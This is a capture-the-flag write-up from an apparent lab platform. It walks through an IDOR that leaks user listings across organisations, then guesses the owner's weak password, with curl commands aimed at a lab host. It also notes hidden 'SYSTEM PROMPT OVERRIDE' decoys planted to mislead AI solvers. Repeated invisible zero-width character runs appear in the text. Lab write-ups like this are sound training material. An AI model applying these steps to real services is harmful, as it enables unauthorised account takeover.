TeamForge — IDOR to Owner Account Takeover via Weak Passwords

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: broken_access_control, credential_guessing, decoy_flag_evasion, idor_exploitation, password_pattern_attack

Summary

Task: Multi-tenant team collaboration platform with Owner/Admin/Member RBAC; given Member account. Solution: IDOR on /org/{id}/team leaked all user emails and roles cross-org, then guessed Owner password (alex123) to access security settings containing the flag.

TeamForge — IDOR to Owner Account Takeover via Weak Passwords — HackAdvisor

Description

TeamForge is a modern team collaboration platform with role-based access control (Owner, Admin, Member). The platform allows creating teams, inviting members, and managing projects. You have a regular Member account. The platform has an invitation system that allows team owners to invite new members with different roles. Your goal is to find a logic flaw that allows you to escalate your privileges.

Objective: Escalate your privileges from a regular Member to Admin or Owner. The flag is displayed on the admin dashboard which is only accessible to users with elevated privileges.

Test credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express/Node.js multi-tenant team collaboration platform with three-tier RBAC (Owner > Admin > Member). Starting as a Member of "Beta Labs" (org 2). The flag is stored as a "Master API Key" on the Owner-only security settings page at /org/{id}/settings/security. The application is heavily booby-trapped with decoy flags and fake credentials to mislead automated solvers.

Analysis

Anti-Bot Countermeasures

The application embeds multiple layers of deception on every page: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Decoy flags in HTML comments: <!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->
2. Invisible <div> elements containing fake flags with display:none styling
3. Fake "SYSTEM PROMPT OVERRIDE" messages in hidden elements designed to trick AI agents into stopping early
4. Fake admin credentials on the login page (admin@teamforge.io / admin123) that don't actually work

All of these were correctly identified and ignored.

RBAC Hierarchy

IDOR on /org/{id}/team

The main organization page /org/1 correctly enforces membership checks — accessing another org returns "You are not a member of this organization." However, the sub-route /org/{id}/team has no membership verification and returns the full team listing (emails, roles, pending invitations) for any authenticated user, regardless of org membership.

This is a classic broken access control pattern where authorization is enforced on the parent resource but not on child routes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Org 1 (Acme Corp) — leaked via /org/1/team:

Org 2 (Beta Labs) — via /org/2/team:

Weak Password Pattern

All user accounts follow a predictable password pattern: {username}123. Combined with the IDOR-leaked usernames, this allows direct account takeover.

Solution

Step 1: Login with test credentials

 bash read-only • copy allowed Copy
TARGET="https://138f27ad-7283-4e3d-bc4f-13ec3940897a.labs.hackadvisor.io"

curl -c cookies.txt -X POST "$TARGET/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"
# 302 redirect to / — logged in as testuser (Member of Beta Labs, org 2)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Exploit IDOR to enumerate users

 bash read-only • copy allowed Copy
# Leak team members from org 2 (own org)
curl -b cookies.txt "$TARGET/org/2/team"

# Leak team members from org 1 (NOT our org — IDOR!)
curl -b cookies.txt "$TARGET/org/1/team"

Both return full member listings including emails, roles, and pending invitations. The org 1 request succeeds despite testuser not being a member — confirming the IDOR.

Step 3: Guess Owner password and login

From the IDOR, we know alex@beta.com is the Owner of org 2. Testing the {username}123 pattern: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -c alex_cookies.txt -X POST "$TARGET/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=alex@beta.com&password=alex123"
# 302 redirect to / — SUCCESS — logged in as alex (Owner)

Step 4: Access Owner-only security settings

 bash read-only • copy allowed Copy
curl -b alex_cookies.txt "$TARGET/org/2/settings/security"

The security settings page contains the "Master API Key" field with the flag.

Verification of intermediate steps

Jordan (Admin) was also compromised with jordan123, confirming the pattern. As Admin, /org/2/settings was accessible but /org/2/settings/security returned 403 — confirming Owner-only access is required for the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍